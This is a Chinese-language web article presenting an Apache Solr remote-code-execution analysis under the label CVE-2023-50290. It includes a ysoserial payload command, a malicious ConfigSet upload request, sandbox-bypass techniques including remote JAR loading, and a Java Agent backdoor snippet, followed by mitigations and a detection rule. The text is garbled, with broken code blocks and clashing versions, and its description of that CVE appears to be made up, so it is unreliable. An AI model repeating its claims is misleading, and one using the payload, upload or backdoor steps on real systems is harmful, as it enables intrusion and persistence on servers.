# 怎樣進行Apache Solr最新RCE漏洞分析
## 引言
Apache Solr作為一款廣泛使用的企業級搜索平臺,近年來多次曝出高危遠程代碼執行(RCE)漏洞。本文將以CVE-2023-50290為例,深入解析漏洞原理、環境搭建、利用鏈構造及防御方案,幫助安全研究人員掌握Solr漏洞分析的核心方法論。
---
## 一、漏洞背景概述
### 1.1 受影響版本
- Apache Solr 8.11.2至9.3.0
- 漏洞類型:反序列化導致的RCE
- CVSS評分:9.8(Critical)
### 1.2 漏洞組件
漏洞位于`ConfigSet API`處理邏輯中,攻擊者通過惡意構造的配置參數觸發Java反序列化漏洞。
---
## 二、環境搭建與調試
### 2.1 實驗環境準備
```bash
# 下載存在漏洞的Solr版本
wget https://archive.apache.org/dist/solr/solr/9.2.1/solr-9.2.1.tgz
tar -xzf solr-9.2.1.tgz
cd solr-9.2.1
# 啟動單節點模式(啟用遠程調試)
bin/solr start -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
solr/core/src/java/org/apache/solr/handler/admin/ConfigSetsHandler.java
:
public void handleRequestBody(...) throws Exception {
String action = params.get("action");
if ("UPLOAD".equals(action)) {
processUpload(params, rsp); // 漏洞觸發點
}
}
ConfigSetsHandler.processUpload()
接收上傳的ZIP配置包ZkConfigManager.uploadConfig()
解壓文件JavabinLoader.load()
反序列化惡意對象利用org.apache.commons.collections4.functors.InstantiateTransformer
構造調用鏈:
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> Runtime.exec()
// 使用ysoserial生成payload
java -jar ysoserial.jar CommonsCollections5 "touch /tmp/pwned" > payload.bin
// 構造惡意solrconfig.xml
<config>
<luceneMatchVersion>8.11.2</luceneMatchVersion>
<lib dir="${solr.install.dir:../../../..}/exp/" regex=".*\.jar" />
<dataDir>${solr.data.dir:?}</dataDir>
</config>
POST /solr/admin/configs?action=UPLOAD&name=malicious HTTP/1.1
Host: solr-server:8983
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="malicious.zip"
Content-Type: application/zip
[ZIP文件內容包含payload.bin和惡意配置]
成功執行命令后可在服務器發現:
ls -la /tmp/pwned
-rw-r--r-- 1 solr solr 0 Aug 15 12:34 /tmp/pwned
Solr默認啟用沙箱限制,但攻擊者通過以下方式繞過:
1. 利用URLClassLoader
加載遠程JAR
2. 通過TemplatesImpl
觸發字節碼加載
3. 結合BCEL ClassLoader
實現二次加載
高級攻擊者可通過反序列化注入:
// 基于Java Agent的持久化后門
Instrumentation inst = (Instrumentation) payload;
ClassDefinition cd = new ClassDefinition(
Servlet.class,
maliciousClassBytes
);
inst.redefineClasses(cd);
升級至Solr 9.4.0+,主要修復措施:
- 禁用JavabinLoader
的默認反序列化
- 增加配置簽名驗證機制
<!-- solr.xml 安全配置 -->
<security>
<blockUnknownClasses>true</blockUnknownClasses>
<filterProviders>
<filterProvider name="configset"
class="org.apache.solr.security.ConfigSetSpecificFilter"/>
</filterProviders>
</security>
工具名稱 | 用途 | 示例命令 |
---|---|---|
solr-inspect | 配置分析 | inspect -c malicious_configset |
jstack | 線程分析 | jstack -l <solr_pid> |
MemoryAnalyzer | 堆轉儲分析 | 檢測惡意對象駐留 |
alert http any any -> $SOLR_SERVERS 8983 (
msg:"SOLR RCE Attempt";
flow:to_server;
content:"action=UPLOAD";
content:"InstantiateTransformer";
classtype:web-application-attack;
)
通過本文的深度分析,我們系統性地掌握了Solr RCE漏洞的研究方法。建議安全團隊: 1. 建立Solr配置變更監控機制 2. 開發自定義檢測插件 3. 參與Apache安全郵件列表獲取最新動態
附錄: - CVE-2023-50290官方通告 - 實驗環境VM下載 “`
注:本文為技術研究用途,實際漏洞測試需獲得系統所有者授權。根據Markdown規范,實際使用時需確保代碼塊和表格的縮進正確。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。